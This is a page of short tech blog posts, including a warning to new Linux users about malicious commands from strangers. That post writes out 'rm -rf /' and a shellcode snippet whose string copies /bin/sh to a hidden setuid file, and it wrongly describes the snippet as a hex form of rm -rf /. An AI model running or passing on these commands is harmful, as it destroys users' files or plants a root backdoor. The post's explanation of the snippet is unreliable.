The Dark side of Linux

Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything.

If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.

The most dangerous command for novice users is

rm -rf /

This command will forcefully delete all the files inside the root and all sub directories.

Another one, this one could even fool experienced linux users.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.

So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.

File Size Column missing in vista or Windows 2008 server

Recently I noticed that in my Vista’s Windows Explorer there’s apparently no file size column anymore! I can remember seeing that after upgrading to Vista, so definitely not Vista issues.

So after a lot of Googling around, I’ve come to realize that the main culprit is Windows Search 4.0 for Windows Vista (KB940157), which comes with Automatic Updates.

The solution for this mess is to delete the following registry key:

HKLM \Software \Microsoft \Windows \CurrentVersion \PropertySystem \PropertySchema \@CachedSchema

After that don’t forget to restart your PC. Then the file column will magically reappear. I’ve tested this solution on Windows 2008 Server as well.

Source : Microsoft Technet

Twitter admin password is happiness

An 18-year-old hacker, who got hold of one of twitter administration panel by pointing an automated password-guesser at a popular user’s account, has revealed the one of twitter admins password is happiness.

Since the word happiness is in dictionary, the attach was relatively simple. The hacker has posted the following video to prove that he did have access to Twitter Administration panel.

Anyway, for all admins out there, please don’t use dictionary words as password.

Source : Wired

Chrome password recovery

With all the buzz Chrome is getting, you wouldn’t be surprised there are tools developed aim at Chrome. Are using Chrome daily basis and saved your password in it, but can’t remember anymore?

No worry. There is Chrome password recover utility available now.

All you have to do is download Chrome Password Recovery tool. No need to install, just run it and it will list all your Chrome saved passwords. Cool, huh?

Google funny error messages

The reason most people love Google is that most of their engineers can show their humorous side as well. The below is the creative error messages from Google Docs. Love it.

Gtalk Lab Edition, very few people know of its existence

Have you ever heard of Google talk? Of course, who could ignore big G IM client? But anyone familiar with Gtalk Lab Edition? Very few people left.

Let me introduce you the Gtalk Lab Edition. As the name implies, it is an experimental program from Gtalk team with the philosophy of bringing the web and desktop together. What differentiate Lab Edition and normal version is the use of the open source Webkit engine to host the Google Talk gadget.

Here is the list of features available only to Gtalk Lab Edition.

• Group chat, tabbed chatting
• Receiving notification from Gmail, Orkut and Google Calendar
• Option to set Gmail as default mail client
• Launch Gmail, Orkut, Google calendar from system tray
• Snooze option – temporarily stop notification

Wait a second please! Don’t get rid of your normal version for this lab edition unless you don’t mind of this missing features.

• file transfer
• voice chat
• option to hide offline friends from list
• option to change display picture

Yap. You’ve heard me. You can’t change your display picture in this lab edition yet. So it’s up to you to decide whether you’re willing to give up your existing features for the other cool new features or not.

How to install fonts without admin right

In Windows, you can’t install new fonts if you don’t have admin rights. Microsoft have made it extremely difficult for normal users to install fonts. As all the Fonts in Windows live peacefully in C:\Windows\Fonts, which is only writeable by Administrators or elevated privilege account owners

So, how can we install fonts without having to ask for Admin rights? Well, thanks to Tsukasa, there’s a workaround. He has developed a tool called Registerfont (You can download here)

What this tool actually does is that add a number of fonts to your font cache which do not need to use an elevated user account. How to use this tool is very simple.

• Just download the above file.
• Extract it to anywhere you can have access.
• Find the Bin folder and copy the font files into it.There you’ll also find registerfont.exe
• Go to Command Prompt and locate to registerfont.exe then type “registerfont add font1.ttf font2.ttf font3.ttf … font1000.ttf”

What if you don’t even have access to command prompt?

Well, then, you can create shortcut by right clicking on Registerfont.exe, choose create shortcut. After that right-click on that shortcut and go to Properties. Then append the string add with the name of the font file you want to add.

Example : “C:\Documents and Settings\usernamexxx\My Documents\RegisterFont.exe” add font1.ttf

Please note that you have to put Registerfont.exe, its shortcuts and all your fonts in the same folder. That’s it! Once you run the shortcut, you can see that the fonts you added are available to all your favourite Windows applications such as MS Office or Web Browsers.

What I like about WordPress over Blogger

As I’ve been on WordPress for about a month, let me share what I like about WordPress over Blogger.

Many plugins available

There are many advantages of WordPress. The main obvious thing is that many varieties of plugins. I just imagine what I want to do with my blog and google it with wordpress plugin, BLAM! there’s always one available. In fact, the biggest headache for me is to choose the best suitable plugins.

Access to root directory

Another thing is that not really related to WordPress, but I can’t access my root directory. So that I can edit .htaccess file anyway I liked. Of course, I’ve total control over robots.txt too.

Themes and ads

There are many themes to choose from and most of them are premium quality. Easily blended with adsense. Most important of all, I can inject adsense ads between posts without having to use any parser.

Schedule posts

This is my favourite part. I can schedule post to any day and time I want. I don’t have to wait and post. I simply have to check in “Edit timestamp” and then choose the time and date I desire. This feature would really come in handy if I plan to take vacations. Many blogger users are longing for this feature too. I hope Blogger team would soon implement this.

If I have to write down, there’ll be many more. Let me stop here. I’ll follow up later with the post What I like about Blogger over WordPress.

How to config Firefox to open new pages in tab or windows?

Well, this is actually very very easy thing. But, as one of my friend couldn’t find this option himself, I feel that I should be telling my readers too. If any of my readers overlook this option, now you can config your Firefox to do exactly what you want to do.

Just go to Tools –>> Options.

After that click on the Tabs. You will see “New pages should be opened in:”, there are two options to choose.

Choose the options that you want and click OK. As you can see, you can configure other options such as Always show the tab bar, Warn me when closing multiple tabs or etc. Make yourself familiar with Options menu in applications, it could help you customize the applications as the way you want it.

Download whole website easily

Sometimes it is quite frustrating that you can’t browse your favorite website while you’re overseas and the hotel will charge you ridiculous amount for wifi access.

If you’re a webmaster and you may want to show off your website in a place where there is no internet? That’s where the need to download whole website comes in. HTTrack is the best tool for this job and it is open-sourced and absolutely free. So far, it works without any glitches for me for copying the contents of an entire site.